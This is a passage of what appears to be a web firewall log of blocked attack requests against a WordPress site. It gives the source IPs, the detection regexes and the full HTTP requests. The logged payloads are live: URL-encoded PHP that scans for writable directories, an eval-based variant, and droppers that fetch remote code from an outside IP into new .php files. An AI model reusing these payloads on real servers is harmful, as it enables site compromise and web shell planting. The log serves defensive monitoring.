20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 15:01:43","162.240.52.198","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> wt:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3832\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\n\nwt=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 15:03:09","38.99.81.38","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3865\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 15:03:32","77.73.233.48","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ep:%3C%3Fphp%20%20file_put_contents%28%27opendocument.lib.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/yJUmgYNLdv%27%29%29%3B","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMKNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncontent-length:179\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\nep=%3C%3Fphp%20%20file_put_contents%28%27opendocument.lib.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/yJUmgYNLdv%27%29%29%3B"]
["2026-05-12 15:03:59","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gj:%3C%3Fphp%20%20file_put_contents%28%27phocagallerycs.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/EuQTNLqBAK%27%29%29%3B","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE2bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncontent-length:177\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\n\nGj=%3C%3Fphp%20%20file_put_contents%28%27phocagallerycs.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/EuQTNLqBAK%27%29%29%3B"]
["2026-05-12 15:04:12","85.195.82.166","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YP:%3C%3Fphp%20%20file_put_contents%28%27ts.processor.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/FbEfMXjWXi%27%29%29%3B","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJINvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncontent-length:175\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nYP=%3C%3Fphp%20%20file_put_contents%28%27ts.processor.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/FbEfMXjWXi%27%29%29%3B"]
["2026-05-12 15:05:06","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Md:%3C%3Fphp%20%20file_put_contents%28%27users.class.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/dgXRZfMaYm%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGJDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"macOS\"\ncontent-length:174\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\n\nMd=%3C%3Fphp%20%20file_put_contents%28%27users.class.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/dgXRZfMaYm%27%29%29%3B"]
["2026-05-12 15:05:50","163.172.31.86","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ST:%3C%3Fphp%20%20file_put_contents%28%27newStudForum.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/ogniqODbKI%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-mode:navigate\ncontent-length:175\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 